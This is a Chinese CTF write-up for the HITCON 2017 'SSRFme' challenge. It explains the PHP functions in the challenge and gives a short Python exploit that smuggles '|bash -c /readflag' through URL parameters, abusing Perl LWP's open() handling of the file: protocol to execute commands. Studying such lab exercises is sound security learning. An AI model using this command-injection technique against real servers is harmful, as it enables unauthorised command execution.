[HITCON 2017]SSRFme
explode() 字符串转数组,用 ,号分隔数组
@mkdir() 创建目录
@chdir() 改变目录
这两的效果一样,如果在/home/php 目录下,执行mkdir('var') 和chdir('var')的效果是一样的,/home/php/var,不过chdir() 会定位到新建目录,而mkdir()不会
这里是用sandbox/orange178.3.X.X md5加密的 创建目录
shell_exec() 执行shell
escapeshellarg() 1.确保用户只传递一个参数给命令 2.用户不能指定更多的参数一个 3.用户不能执行不同的命令
这两个结合在一起就是获得更安全get[]
pathinfo() 以数组的形式返回文件的路径信息
返回的数组元素如下:
- [dirname]: 目录路径
- [basename]: 文件名
- [extension]: 文件后缀名
- [filename]: 不包含后缀的文件名
实例:
<?php print_r(pathinfo("/testweb/test.txt")); ?>
Array ( [dirname] => /testweb [basename] => test.txt [extension] => txt [filename] => test )
basename() 返回路径名的一部分, 例如:flag.php 返回flag
str_replace() 将目录路径的 '.' 替换成空串
简单说:将dirname创建为目录,并在该目录创建basename文件,并写入url的值
思路也简单,创建一个可执行文件,然后访问
看看exp
import requests target = "http://1c2c6475-7010-41ad-ace2-503a6d8a8c9f.node3.buuoj.cn" requests.get(target+"/?url=127.0.0.1&filename=|bash -c /readflag") requests.get(target+"/?url=file:|bash -c /readflag&filename=1") print(requests.get(target+"/sandbox/a500c97501fe5e3229ae7f8da4b97f0b/1").text)
使用shell去运行脚本,两种方法 bash xxx.sh,另外一种就是bash -c “cmd string”
第一个payload
Array ( [dirname] => |bash -c [basename] => readflag [filename] => readflag )
第二个payload
Array ( [dirname] => . [basename] => 1 [filename] => 1 )
师傅的文章都说:
利用了perl的open函数执行命令的特性,open函数的第二个参数可以将文件流用管道重定向到其它地方。比如open(FD,"|id")即可执行id命令。
perl的LWP对于file协议的处理就调用了open函数
不懂....perl的LWP对于file协议的处理就调用了open函数